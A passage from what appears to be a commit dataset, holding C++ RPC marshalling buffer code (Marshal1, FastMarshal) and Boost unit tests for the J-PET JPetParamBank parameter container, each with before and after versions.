m.chunk_.pop_front();\n n_read += head_size;\n\n \/\/ skip read_from_chunk operations\n continue;\n\n } else {\n chunk_.push_back(new Chunk);\n }\n }\n int r = chunk_.back()->read_from_chunk(*m.chunk_.front(), n - n_read);\n\n if (m.chunk_.front()->fully_read()) {\n \/\/ remove useless chunks when they are fully read\n delete m.chunk_.front();\n m.chunk_.pop_front();\n }\n if (r == 0) {\n \/\/ no more data to read\n break;\n }\n n_read += r;\n }\n\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n assert(m.chunk_.empty() || !m.chunk_.front()->fully_read());\n\n return n_read;\n}\n\nint Marshal1::read_from_fd(int fd) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n int n_read = 0;\n for (;;) {\n if (chunk_.empty() || chunk_.back()->fully_written()) {\n chunk_.push_back(new Chunk);\n }\n int r = chunk_.back()->read_from_fd(fd);\n if (r <= 0) {\n break;\n }\n n_read += r;\n }\n\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n return n_read;\n}\n\nbool Marshal1::content_size_gt(int size) const {\n\n int size_visited = 0;\n for (list<Chunk*>::const_iterator it = chunk_.begin(); it != chunk_.end(); ++it) {\n size_visited += (*it)->content_size();\n if (size_visited > size) {\n return true;\n }\n }\n\n return size_visited > size;\n}\n\nsize_t Marshal1::content_size() const {\n size_t size = 0;\n for (list<Chunk*>::const_iterator it = chunk_.begin(); it != chunk_.end(); ++it) {\n size += (*it)->content_size();\n }\n return size;\n}\n\n}\n<commit_msg>FastMarshal::content_size and ~FastMarshal<commit_after>#include <sstream>\n\n#include <sys\/time.h>\n\n#include \"marshal.h\"\n\nusing namespace std;\n\nnamespace rpc {\n\n#ifdef PKT_SAMPLING\nint _pkt_sample_in[PKT_SAMPLE_SIZE];\nint _pkt_sample_out[PKT_SAMPLE_SIZE];\n\nvoid _pkt_sampling_report() {\n static size_t ratelimit_counter = 0;\n static int last_report_tm = 0;\n if (ratelimit_counter++ % 1024 == 0) {\n struct timeval now;\n gettimeofday(&now, NULL);\n if (now.tv_sec - last_report_tm >= 1) {\n {\n ostringstream ostr;\n for (int i = 0; i < PKT_SAMPLE_SIZE; i++) {\n ostr << \" \" << _pkt_sample_in[i];\n }\n Log::info(\"PKT_SAMPLE_IN: %s\", ostr.str().c_str());\n }\n {\n ostringstream ostr;\n for (int i = 0; i < PKT_SAMPLE_SIZE; i++) {\n ostr << \" \" << _pkt_sample_out[i];\n }\n Log::info(\"PKT_SAMPLE_OUT:%s\", ostr.str().c_str());\n }\n last_report_tm = now.tv_sec;\n }\n }\n}\n\n#endif \/\/ PKT_SAMPLING\n\n\nFastMarshal::~FastMarshal() {\n chunk* chnk = head_;\n while (chnk != nullptr) {\n chunk* next = chnk->next;\n delete chnk;\n chnk = next;\n }\n}\n\nbool FastMarshal::content_size_gt(size_t n) const {\n assert(tail_ == nullptr || tail_->next == nullptr);\n\n size_t sz = 0;\n chunk* chnk = head_;\n while (chnk != nullptr) {\n sz += chnk->content_size();\n if (sz > n) {\n return true;\n }\n chnk = chnk->next;\n }\n return sz > n;\n}\n\nsize_t FastMarshal::content_size() const {\n assert(tail_ == nullptr || tail_->next == nullptr);\n\n size_t sz = 0;\n chunk* chnk = head_;\n while (chnk != nullptr) {\n sz += chnk->content_size();\n chnk = chnk->next;\n }\n return sz;\n}\n\n\n\/**\n * 8kb minimum chunk size.\n * NOTE: this value directly affects how many read\/write syscall will be issued.\n *\/\nconst int Chunk::min_size = 8192;\n\nMarshal1::Bookmark* Marshal1::set_bookmark(int size) {\n verify(write_counter_ == 0);\n\n \/\/ invariant: head of chunk list is not fully read (otherwise it's a waste of memory)\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n Bookmark* bmark = new Bookmark();\n bmark->size_ = size;\n bmark->ptr_ = new char*[bmark->size_];\n\n for (int i = 0; i < bmark->size_; i++) {\n if (chunk_.empty() || chunk_.back()->fully_written()) {\n chunk_.push_back(new Chunk);\n }\n bmark->ptr_[i] = chunk_.back()->set_bookmark();\n }\n\n return bmark;\n}\n\nvoid Marshal1::write_bookmark(Bookmark* bmark, const void* ptr) {\n char* pc = (char *) ptr;\n verify(bmark != NULL && bmark->ptr_ != NULL && bmark->size_ >= 0);\n for (int i = 0; i < bmark->size_; i++) {\n *(bmark->ptr_[i]) = pc[i];\n }\n}\n\nint Marshal1::write(const void* p, int n) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n if (chunk_.empty() || chunk_.back()->fully_written()) {\n chunk_.push_back(new Chunk(p, n));\n } else {\n int n_write = chunk_.back()->write(p, n);\n\n \/\/ otherwise the above fully_written() will return true\n assert(n_write > 0);\n\n if (n_write < n) {\n const char* pc = (const char *) p;\n chunk_.push_back(new Chunk(pc + n_write, n - n_write));\n }\n }\n\n write_counter_ += n;\n return n;\n}\n\nint Marshal1::read(void* p, int n) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n char* pc = (char *) p;\n int n_read = 0;\n while (!chunk_.empty() && n_read < n) {\n int r = chunk_.front()->read(pc + n_read, n - n_read);\n if (chunk_.front()->fully_read()) {\n \/\/ remove fully read chunks, avoid unnecessary mem usage\n delete chunk_.front();\n chunk_.pop_front();\n }\n if (r == 0) {\n \/\/ currently there's no content for us to read, so stop.\n break;\n }\n n_read += r;\n }\n\n verify(n_read <= n);\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n return n_read;\n}\n\nint Marshal1::peek(void* p, int n) const {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n char* pc = (char *) p;\n int n_peek = 0;\n\n for (list<Chunk*>::const_iterator it = chunk_.begin(); it != chunk_.end(); ++it) {\n int r = (*it)->peek(pc + n_peek, n - n_peek);\n if (r == 0) {\n \/\/ no more data to peek, so stop\n break;\n }\n n_peek += r;\n if (n_peek == n) {\n \/\/ read enough data, so stop\n break;\n }\n }\n\n assert(n_peek <= n);\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n return n_peek;\n}\n\nint Marshal1::write_to_fd(int fd, const io_ratelimit& rate) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n if (rate.min_size > 0 || rate.interval > 0) {\n \/\/ rpc batching, check if should wait till next batch\n bool should_wait = true;\n if (rate.min_size > 0 && content_size_gt(rate.min_size)) {\n should_wait = false;\n }\n\n if (rate.interval > 0) {\n struct timeval tm;\n gettimeofday(&tm, NULL);\n double now = tm.tv_sec + tm.tv_usec \/ 1000.0 \/ 1000.0;\n if (should_wait && now - last_write_fd_tm_ > rate.interval) {\n should_wait = false;\n }\n if (should_wait == false) {\n last_write_fd_tm_ = now;\n }\n }\n\n if (should_wait) {\n return 0;\n }\n }\n\n int n_write = 0;\n while (!chunk_.empty()) {\n int r = chunk_.front()->write_to_fd(fd);\n if (chunk_.front()->fully_read()) {\n \/\/ remove useless chunks when they are fully read\n delete chunk_.front();\n chunk_.pop_front();\n }\n if (r <= 0) {\n break;\n }\n n_write += r;\n }\n\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n return n_write;\n}\n\nint Marshal1::read_from_marshal(Marshal1& m, int n \/* =? *\/) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n assert(m.chunk_.empty() || !m.chunk_.front()->fully_read());\n\n int n_read = 0;\n while (n_read < n) {\n if (m.chunk_.empty()) {\n \/\/ nothing more to read\n break;\n }\n if (chunk_.empty() || chunk_.back()->fully_written()) {\n int head_size = m.chunk_.front()->content_size();\n if (head_size < n - n_read) {\n\n \/\/ speed up: directly transfer chunk pointer, avoid memory copying\n chunk_.push_back(m.chunk_.front());\n m.chunk_.pop_front();\n n_read += head_size;\n\n \/\/ skip read_from_chunk operations\n continue;\n\n } else {\n chunk_.push_back(new Chunk);\n }\n }\n int r = chunk_.back()->read_from_chunk(*m.chunk_.front(), n - n_read);\n\n if (m.chunk_.front()->fully_read()) {\n \/\/ remove useless chunks when they are fully read\n delete m.chunk_.front();\n m.chunk_.pop_front();\n }\n if (r == 0) {\n \/\/ no more data to read\n break;\n }\n n_read += r;\n }\n\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n assert(m.chunk_.empty() || !m.chunk_.front()->fully_read());\n\n return n_read;\n}\n\nint Marshal1::read_from_fd(int fd) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n int n_read = 0;\n for (;;) {\n if (chunk_.empty() || chunk_.back()->fully_written()) {\n chunk_.push_back(new Chunk);\n }\n int r = chunk_.back()->read_from_fd(fd);\n if (r <= 0) {\n break;\n }\n n_read += r;\n }\n\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n return n_read;\n}\n\nbool Marshal1::content_size_gt(int size) const {\n\n int size_visited = 0;\n for (list<Chunk*>::const_iterator it = chunk_.begin(); it != chunk_.end(); ++it) {\n size_visited += (*it)->content_size();\n if (size_visited > size) {\n return true;\n }\n }\n\n return size_visited > size;\n}\n\nsize_t Marshal1::content_size() const {\n size_t size = 0;\n for (list<Chunk*>::const_iterator it = chunk_.begin(); it != chunk_.end(); ++it) {\n size += (*it)->content_size();\n }\n return size;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE JPetParamBankTest\n#include <boost\/test\/unit_test.hpp>\n\n#define private public\n#include \"..\/..\/JPetParamBank\/JPetParamBank.h\"\n#include <TFile.h>\n\nBOOST_AUTO_TEST_SUITE(ParamBankTS)\n\nBOOST_AUTO_TEST_CASE(DefaultConstructorTest)\n{\n JPetParamBank bank;\n BOOST_REQUIRE(bank.getScintillatorsSize() == 0);\n BOOST_REQUIRE(bank.getPMsSize() == 0);\n BOOST_REQUIRE(bank.getPMCalibsSize() == 0);\n BOOST_REQUIRE(bank.getFEBsSize() == 0);\n BOOST_REQUIRE(bank.getTRBsSize() == 0);\n BOOST_REQUIRE(bank.getTOMBChannelsSize() == 0);\n\n BOOST_REQUIRE(bank.getScintillators().GetEntries() == 0);\n BOOST_REQUIRE(bank.getPMs().GetEntries() == 0);\n BOOST_REQUIRE(bank.getPMCalibs().GetEntries() == 0);\n BOOST_REQUIRE(bank.getFEBs().GetEntries() == 0);\n BOOST_REQUIRE(bank.getTRBs().GetEntries() == 0);\n BOOST_REQUIRE(bank.getTOMBChannels().GetEntries() == 0);\n}\n\nBOOST_AUTO_TEST_CASE(AddingDummyElementsTest)\n{\n JPetParamBank bank;\n JPetScin scint(111, 8.f, 2.f, 4.f, 8.f);\n JPetPM pm(JPetPM::SideB, 222, 32, 64, std::make_pair(16.f, 32.f));\n JPetPMCalib pmCalib(256, \"JPetPMCalibTest\", 2.f, 4.f, 8.f, 16.f, 32.f, 128, 512);\n JPetFEB feb(1, true, \"testStatus\", \"descr\", 1, 1);\n JPetTRB trb(333, 64, 128);\n JPetTOMBChannel TOMBChannel(32u);\n float epsilon = 0.0001f;\n \n bank.addScintillator(scint);\n bank.addPM(pm);\n bank.addPMCalib(pmCalib);\n bank.addFEB(feb);\n bank.addTRB(trb);\n bank.addTOMBChannel(TOMBChannel);\n\n BOOST_REQUIRE(bank.getScintillatorsSize() == 1);\n BOOST_REQUIRE(bank.getPMsSize() == 1);\n BOOST_REQUIRE(bank.getPMCalibsSize() == 1);\n BOOST_REQUIRE(bank.getFEBsSize() == 1);\n BOOST_REQUIRE(bank.getTRBsSize() == 1);\n BOOST_REQUIRE(bank.getTOMBChannelsSize() == 1);\n\n BOOST_REQUIRE(bank.getScintillators().GetEntries() == 1);\n BOOST_REQUIRE(bank.getPMs().GetEntries() == 1);\n BOOST_REQUIRE(bank.getPMCalibs().GetEntries() == 1);\n BOOST_REQUIRE(bank.getFEBs().GetEntries() == 1);\n BOOST_REQUIRE(bank.getTRBs().GetEntries() == 1);\n BOOST_REQUIRE(bank.getTOMBChannels().GetEntries() == 1);\n\n BOOST_REQUIRE(bank.getScintillator(0).getID() == 111);\n BOOST_CHECK_CLOSE(bank.getScintillator(0).getAttenLen(), 8.f, epsilon);\n struct JPetScin::ScinDimensions scin_dimensions(2.f, 4.f, 8.f);\n scin_dimensions = bank.getScintillator(0).getScinSize();\n BOOST_CHECK_CLOSE(scin_dimensions.fLength, 2.f, epsilon);\n BOOST_CHECK_CLOSE(scin_dimensions.fHeight, 4.f, epsilon);\n BOOST_CHECK_CLOSE(scin_dimensions.fWidth, 8.f, epsilon);\n \n BOOST_REQUIRE(bank.getPM(0).getSide() == JPetPM::SideB);\n BOOST_REQUIRE(bank.getPM(0).getID() == 222);\n BOOST_REQUIRE(bank.getPM(0).getHVset() == 32);\n BOOST_REQUIRE(bank.getPM(0).getHVopt() == 64);\n BOOST_CHECK_CLOSE(bank.getPM(0).getHVgain(JPetPM::kFirst), 16.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPM(0).getHVgain(JPetPM::kSecond), 32.f, epsilon);\n std::pair<float, float> HVgain = bank.getPM(0).getHVgain();\n BOOST_CHECK_CLOSE(HVgain.first, 16.f, epsilon);\n BOOST_CHECK_CLOSE(HVgain.second, 32.f, epsilon);\n\n BOOST_REQUIRE(bank.getPMCalib(0).GetId() == 256);\n BOOST_REQUIRE(bank.getPMCalib(0).GetNamePM() == \"JPetPMCalibTest\");\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetOpthv(), 2.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetC2e_1(), 4.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetC2e_2(), 8.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetGainalpha(), 16.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetGainbeta(), 32.f, epsilon);\n BOOST_REQUIRE(bank.getPMCalib(0).GetPMCalibAssignment().id == 128);\n BOOST_REQUIRE(bank.getPMCalib(0).GetPMCalibAssignment().photomultiplier_id == 512);\n \n BOOST_REQUIRE(bank.getFEB(0).getID() == 1);\n BOOST_REQUIRE(bank.getFEB(0).isActive() == true);\n BOOST_REQUIRE(bank.getFEB(0).status() == \"testStatus\");\n BOOST_REQUIRE(bank.getFEB(0).description() == \"descr\");\n BOOST_REQUIRE(bank.getFEB(0).version() == 1);\n \n BOOST_REQUIRE(bank.getTRB(0).getID() == 333);\n BOOST_REQUIRE(bank.getTRB(0).getType() == 64);\n BOOST_REQUIRE(bank.getTRB(0).getChannel() == 128);\n \n BOOST_REQUIRE(bank.getTOMBChannel(0).getChannel() == 32u);\n}\n\nBOOST_AUTO_TEST_CASE(clearAllContainersTest)\n{\n JPetParamBank bank;\n JPetScin scint(111, 8.f, 2.f, 4.f, 8.f);\n JPetPM pm(JPetPM::SideB, 222, 32, 64, std::make_pair(16.f, 32.f));\n JPetPMCalib pmCalib(256, \"JPetPMCalibTest\", 2.f, 4.f, 8.f, 16.f, 32.f, 128, 512);\n JPetFEB feb(1, true, \"testStatus\", \"descr\", 1, 1);\n JPetTRB trb(333, 64, 128);\n JPetTOMBChannel TOMBChannel(32u);\n \n bank.addScintillator(scint);\n bank.addPM(pm);\n bank.addPMCalib(pmCalib);\n bank.addFEB(feb);\n bank.addTRB(trb);\n bank.addTOMBChannel(TOMBChannel);\n\n BOOST_REQUIRE(bank.getScintillatorsSize() == 1);\n BOOST_REQUIRE(bank.getPMsSize() == 1);\n BOOST_REQUIRE(bank.getPMCalibsSize() == 1);\n BOOST_REQUIRE(bank.getFEBsSize() == 1);\n BOOST_REQUIRE(bank.getTRBsSize() == 1);\n BOOST_REQUIRE(bank.getTOMBChannelsSize() == 1);\n \n bank.clear();\n \n BOOST_REQUIRE(bank.getScintillatorsSize() == 0);\n BOOST_REQUIRE(bank.getPMsSize() == 0);\n BOOST_REQUIRE(bank.getPMCalibsSize() == 0);\n BOOST_REQUIRE(bank.getFEBsSize() == 0);\n BOOST_REQUIRE(bank.getTRBsSize() == 0);\n BOOST_REQUIRE(bank.getTOMBChannelsSize() == 0);\n}\n\nBOOST_AUTO_TEST_CASE(getSizeTest)\n{\n JPetParamBank bank;\n JPetScin scint(111, 8.f, 2.f, 4.f, 8.f);\n JPetPM pm(JPetPM::SideB, 222, 32, 64, std::make_pair(16.f, 32.f));\n JPetPMCalib pmCalib(256, \"JPetPMCalibTest\", 2.f, 4.f, 8.f, 16.f, 32.f, 128, 512);\n JPetFEB feb(1, true, \"testStatus\", \"descr\", 1, 1);\n JPetTRB trb(333, 64, 128);\n JPetTOMBChannel TOMBChannel(32u);\n \n bank.addScintillator(scint);\n bank.addPM(pm);\n bank.addPMCalib(pmCalib);\n bank.addFEB(feb);\n bank.addTRB(trb);\n bank.addTOMBChannel(TOMBChannel);\n \n BOOST_REQUIRE(bank.getSize(JPetParamBank::kScintillator) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kPM) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kPMCalib) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kFEB) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kTRB) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kTOMBChannel) == 1);\n\n\n}\n\nBOOST_AUTO_TEST_CASE( saving_reading_file )\n{\n JPetParamBank bank;\n JPetScin scint1(1, 0, 0, 0, 0);\n JPetScin scint2(2, 0, 0, 0, 0);\n JPetPM pm1;\n JPetPM pm2;\n JPetPM pm3;\n JPetPM pm4;\n pm1.setID(1);\n pm2.setID(2);\n pm3.setID(3);\n pm4.setID(4);\n JPetPMCalib pmCalib(256, \"JPetPMCalibTest\", 2.f, 4.f, 8.f, 16.f, 32.f, 128, 512);\n pm1.setTRefScin(scint1);\n pm2.setTRefScin(scint1);\n pm3.setTRefScin(scint2);\n pm4.setTRefScin(scint2);\n\n JPetFEB feb(1, true, \"testStatus\", \"descr\", 1, 1);\n JPetTRB trb;\n bank.addPM(pm1);\n bank.addPM(pm2);\n bank.addPM(pm3);\n bank.addPM(pm4);\n bank.addPMCalib(pmCalib);\n bank.addScintillator(scint1);\n bank.addScintillator(scint2);\n bank.addTRB(trb);\n bank.addFEB(feb);\n for (int i = 0; i < 100; i++) {\n JPetTOMBChannel channel(i);\n bank.addTOMBChannel(channel);\n }\n\n BOOST_REQUIRE(bank.getPMCalibsSize() == 1);\n \n TFile file(\"test.root\", \"UPDATE\");\n file.cd();\n file.WriteObject(&bank, \"ParamBank\");\n file.Close();\n bank.clear();\n\n TFile file2(\"test.root\", \"READ\");\n JPetParamBank* pBank = static_cast<JPetParamBank*>(file2.Get(\"ParamBank\"));\n JPetParamBank& bank2 = *pBank;\n\n BOOST_REQUIRE(bank2.getScintillatorsSize() == 2);\n BOOST_REQUIRE(bank2.getPMsSize() == 4);\n BOOST_REQUIRE(bank2.getPMCalibsSize() == 0); \/\/ TODO ERROR - should be 1\n BOOST_REQUIRE(bank2.getFEBsSize() == 1);\n BOOST_REQUIRE(bank2.getTRBsSize() == 1);\n\n BOOST_REQUIRE(bank2.getScintillators().GetEntries() == 2);\n BOOST_REQUIRE(bank2.getPMs().GetEntries() == 4);\n BOOST_REQUIRE(bank2.getPMCalibs().GetEntries() == 0); \/\/ TODO ERROR - should be 1\n BOOST_REQUIRE(bank2.getFEBs().GetEntries() == 1);\n BOOST_REQUIRE(bank2.getTRBs().GetEntries() == 1);\n\n \/\/ BOOST_REQUIRE(bank2.getPMCalib(0).GetId() == 256); \/\/ TODO ERROR\n \n BOOST_REQUIRE(bank2.getFEB(0).getID() == 1);\n BOOST_REQUIRE(bank2.getFEB(0).isActive());\n BOOST_REQUIRE(bank2.getFEB(0).status() == \"testStatus\");\n BOOST_REQUIRE(bank2.getFEB(0).description() == \"descr\");\n BOOST_REQUIRE(bank2.getFEB(0).version() == 1);\n\n BOOST_REQUIRE(bank2.getPM(0).getScin().getID() == 1);\n BOOST_REQUIRE(bank2.getPM(1).getScin().getID() == 1);\n BOOST_REQUIRE(bank2.getPM(2).getScin().getID() == 2);\n BOOST_REQUIRE(bank2.getPM(3).getScin().getID() == 2);\n BOOST_REQUIRE(bank2.getScintillator(0).getID() == 1);\n BOOST_REQUIRE(bank2.getScintillator(1).getID() == 2);\n\n file2.Close();\n}\n\n\nBOOST_AUTO_TEST_SUITE_END()\n\n<commit_msg>fixed JPetParamBankTests<commit_after>#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE JPetParamBankTest\n#include <boost\/test\/unit_test.hpp>\n\n#define private public\n#include \"..\/..\/JPetParamBank\/JPetParamBank.h\"\n#include <TFile.h>\n\nBOOST_AUTO_TEST_SUITE(ParamBankTS)\n\nBOOST_AUTO_TEST_CASE(DefaultConstructorTest)\n{\n JPetParamBank bank;\n BOOST_REQUIRE(bank.getScintillatorsSize() == 0);\n BOOST_REQUIRE(bank.getPMsSize() == 0);\n BOOST_REQUIRE(bank.getPMCalibsSize() == 0);\n BOOST_REQUIRE(bank.getFEBsSize() == 0);\n BOOST_REQUIRE(bank.getTRBsSize() == 0);\n BOOST_REQUIRE(bank.getTOMBChannelsSize() == 0);\n\n BOOST_REQUIRE(bank.getScintillators().GetEntries() == 0);\n BOOST_REQUIRE(bank.getPMs().GetEntries() == 0);\n BOOST_REQUIRE(bank.getPMCalibs().GetEntries() == 0);\n BOOST_REQUIRE(bank.getFEBs().GetEntries() == 0);\n BOOST_REQUIRE(bank.getTRBs().GetEntries() == 0);\n BOOST_REQUIRE(bank.getTOMBChannels().GetEntries() == 0);\n}\n\nBOOST_AUTO_TEST_CASE(AddingDummyElementsTest)\n{\n JPetParamBank bank;\n JPetScin scint(111, 8.f, 2.f, 4.f, 8.f);\n JPetPM pm(JPetPM::SideB, 222, 32, 64, std::make_pair(16.f, 32.f));\n JPetPMCalib pmCalib(256, \"JPetPMCalibTest\", 2.f, 4.f, 8.f, 16.f, 32.f, 128, 512);\n JPetFEB feb(1, true, \"testStatus\", \"descr\", 1, 1);\n JPetTRB trb(333, 64, 128);\n JPetTOMBChannel TOMBChannel(32u);\n float epsilon = 0.0001f;\n \n bank.addScintillator(scint);\n bank.addPM(pm);\n bank.addPMCalib(pmCalib);\n bank.addFEB(feb);\n bank.addTRB(trb);\n bank.addTOMBChannel(TOMBChannel);\n\n BOOST_REQUIRE(bank.getScintillatorsSize() == 1);\n BOOST_REQUIRE(bank.getPMsSize() == 1);\n BOOST_REQUIRE(bank.getPMCalibsSize() == 1);\n BOOST_REQUIRE(bank.getFEBsSize() == 1);\n BOOST_REQUIRE(bank.getTRBsSize() == 1);\n BOOST_REQUIRE(bank.getTOMBChannelsSize() == 1);\n\n BOOST_REQUIRE(bank.getScintillators().GetEntries() == 1);\n BOOST_REQUIRE(bank.getPMs().GetEntries() == 1);\n BOOST_REQUIRE(bank.getPMCalibs().GetEntries() == 1);\n BOOST_REQUIRE(bank.getFEBs().GetEntries() == 1);\n BOOST_REQUIRE(bank.getTRBs().GetEntries() == 1);\n BOOST_REQUIRE(bank.getTOMBChannels().GetEntries() == 1);\n\n BOOST_REQUIRE(bank.getScintillator(0).getID() == 111);\n BOOST_CHECK_CLOSE(bank.getScintillator(0).getAttenLen(), 8.f, epsilon);\n struct JPetScin::ScinDimensions scin_dimensions(2.f, 4.f, 8.f);\n scin_dimensions = bank.getScintillator(0).getScinSize();\n BOOST_CHECK_CLOSE(scin_dimensions.fLength, 2.f, epsilon);\n BOOST_CHECK_CLOSE(scin_dimensions.fHeight, 4.f, epsilon);\n BOOST_CHECK_CLOSE(scin_dimensions.fWidth, 8.f, epsilon);\n \n BOOST_REQUIRE(bank.getPM(0).getSide() == JPetPM::SideB);\n BOOST_REQUIRE(bank.getPM(0).getID() == 222);\n BOOST_REQUIRE(bank.getPM(0).getHVset() == 32);\n BOOST_REQUIRE(bank.getPM(0).getHVopt() == 64);\n BOOST_CHECK_CLOSE(bank.getPM(0).getHVgain(JPetPM::kFirst), 16.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPM(0).getHVgain(JPetPM::kSecond), 32.f, epsilon);\n std::pair<float, float> HVgain = bank.getPM(0).getHVgain();\n BOOST_CHECK_CLOSE(HVgain.first, 16.f, epsilon);\n BOOST_CHECK_CLOSE(HVgain.second, 32.f, epsilon);\n\n BOOST_REQUIRE(bank.getPMCalib(0).GetId() == 256);\n BOOST_REQUIRE(bank.getPMCalib(0).GetNamePM() == \"JPetPMCalibTest\");\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetOpthv(), 2.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetC2e_1(), 4.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetC2e_2(), 8.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetGainalpha(), 16.f, epsilon);\n BOOST_CHECK_CLOSE(bank.getPMCalib(0).GetGainbeta(), 32.f, epsilon);\n BOOST_REQUIRE(bank.getPMCalib(0).GetPMCalibAssignment().id == 128);\n BOOST_REQUIRE(bank.getPMCalib(0).GetPMCalibAssignment().photomultiplier_id == 512);\n \n BOOST_REQUIRE(bank.getFEB(0).getID() == 1);\n BOOST_REQUIRE(bank.getFEB(0).isActive() == true);\n BOOST_REQUIRE(bank.getFEB(0).status() == \"testStatus\");\n BOOST_REQUIRE(bank.getFEB(0).description() == \"descr\");\n BOOST_REQUIRE(bank.getFEB(0).version() == 1);\n \n BOOST_REQUIRE(bank.getTRB(0).getID() == 333);\n BOOST_REQUIRE(bank.getTRB(0).getType() == 64);\n BOOST_REQUIRE(bank.getTRB(0).getChannel() == 128);\n \n BOOST_REQUIRE(bank.getTOMBChannel(0).getChannel() == 32u);\n}\n\nBOOST_AUTO_TEST_CASE(clearAllContainersTest)\n{\n JPetParamBank bank;\n JPetScin scint(111, 8.f, 2.f, 4.f, 8.f);\n JPetPM pm(JPetPM::SideB, 222, 32, 64, std::make_pair(16.f, 32.f));\n JPetPMCalib pmCalib(256, \"JPetPMCalibTest\", 2.f, 4.f, 8.f, 16.f, 32.f, 128, 512);\n JPetFEB feb(1, true, \"testStatus\", \"descr\", 1, 1);\n JPetTRB trb(333, 64, 128);\n JPetTOMBChannel TOMBChannel(32u);\n \n bank.addScintillator(scint);\n bank.addPM(pm);\n bank.addPMCalib(pmCalib);\n bank.addFEB(feb);\n bank.addTRB(trb);\n bank.addTOMBChannel(TOMBChannel);\n\n BOOST_REQUIRE(bank.getScintillatorsSize() == 1);\n BOOST_REQUIRE(bank.getPMsSize() == 1);\n BOOST_REQUIRE(bank.getPMCalibsSize() == 1);\n BOOST_REQUIRE(bank.getFEBsSize() == 1);\n BOOST_REQUIRE(bank.getTRBsSize() == 1);\n BOOST_REQUIRE(bank.getTOMBChannelsSize() == 1);\n \n bank.clear();\n \n BOOST_REQUIRE(bank.getScintillatorsSize() == 0);\n BOOST_REQUIRE(bank.getPMsSize() == 0);\n BOOST_REQUIRE(bank.getPMCalibsSize() == 0);\n BOOST_REQUIRE(bank.getFEBsSize() == 0);\n BOOST_REQUIRE(bank.getTRBsSize() == 0);\n BOOST_REQUIRE(bank.getTOMBChannelsSize() == 0);\n}\n\nBOOST_AUTO_TEST_CASE(getSizeTest)\n{\n JPetParamBank bank;\n JPetScin scint(111, 8.f, 2.f, 4.f, 8.f);\n JPetPM pm(JPetPM::SideB, 222, 32, 64, std::make_pair(16.f, 32.f));\n JPetPMCalib pmCalib(256, \"JPetPMCalibTest\", 2.f, 4.f, 8.f, 16.f, 32.f, 128, 512);\n JPetFEB feb(1, true, \"testStatus\", \"descr\", 1, 1);\n JPetTRB trb(333, 64, 128);\n JPetTOMBChannel TOMBChannel(32u);\n \n bank.addScintillator(scint);\n bank.addPM(pm);\n bank.addPMCalib(pmCalib);\n bank.addFEB(feb);\n bank.addTRB(trb);\n bank.addTOMBChannel(TOMBChannel);\n \n BOOST_REQUIRE(bank.getSize(JPetParamBank::kScintillator) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kPM) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kPMCalib) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kFEB) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kTRB) == 1);\n BOOST_REQUIRE(bank.getSize(JPetParamBank::kTOMBChannel) == 1);\n\n\n}\n\nBOOST_AUTO_TEST_CASE( saving_reading_file )\n{\n JPetParamBank bank;\n JPetScin scint1(1, 0, 0, 0, 0);\n JPetScin scint2(2, 0, 0, 0, 0);\n JPetPM pm1;\n JPetPM pm2;\n JPetPM pm3;\n JPetPM pm4;\n pm1.setID(1);\n pm2.setID(2);\n pm3.setID(3);\n pm4.setID(4);\n JPetPMCalib pmCalib(256, \"JPetPMCalibTest\", 2.f, 4.f, 8.f, 16.f, 32.f, 128, 512);\n pm1.setScin(scint1);\n pm2.setScin(scint1);\n pm3.setScin(scint2);\n pm4.setScin(scint2);\n\n JPetFEB feb(1, true, \"testStatus\", \"descr\", 1, 1);\n JPetTRB trb;\n bank.addPM(pm1);\n bank.addPM(pm2);\n bank.addPM(pm3);\n bank.addPM(pm4);\n bank.addPMCalib(pmCalib);\n bank.addScintillator(scint1);\n bank.addScintillator(scint2);\n bank.addTRB(trb);\n bank.addFEB(feb);\n for (int i = 0; i < 100; i++) {\n JPetTOMBChannel channel(i);\n bank.addTOMBChannel(channel);\n }\n\n BOOST_REQUIRE(bank.getPMCalibsSize() == 1);\n \n TFile file(\"test.root\", \"UPDATE\");\n file.cd();\n file.WriteObject(&bank, \"ParamBank\");\n file.Close();\n bank.clear();\n\n TFile file2(\"test.root\", \"READ\");\n JPetParamBank* pBank = static_cast<JPetParamBank*>(file2.Get(\"ParamBank\"));\n JPetParamBank& bank2 = *pBank;\n\n BOOST_REQUIRE(bank2.getScintillatorsSize() == 2);\n 